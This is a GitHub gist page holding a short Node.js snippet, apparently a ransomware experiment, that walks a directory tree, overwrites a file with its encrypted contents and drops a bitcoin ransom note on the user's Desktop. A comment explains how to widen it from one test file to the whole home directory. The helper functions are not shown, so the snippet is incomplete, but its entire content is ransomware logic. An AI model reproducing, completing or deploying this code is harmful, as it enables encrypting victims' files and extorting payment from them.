Skip to content

Instantly share code, notes, and snippets.

@NathanLeadill
Created August 15, 2021 18:05
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save NathanLeadill/5e1214bb6fe14eb508aa5438755d7118 to your computer and use it in GitHub Desktop.
Save NathanLeadill/5e1214bb6fe14eb508aa5438755d7118 to your computer and use it in GitHub Desktop.
;(async () => {
// Change ../ to homedir to loop through all the changes
for await (const f of getFiles('../')) {
// this is just a check so that I only encrypt one file.
if(f === '/Users/nathan/Documents/Projects/ransomware/test/test.txt') {
const data = fs.readFileSync(f, 'utf8')
fs.writeFileSync(f, encrypt(data))
fs.writeFileSync(`${homedir}/Desktop/unlock.txt`, 'To unlock your files you`ll need to send bitoin to this address')
}
}
})()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment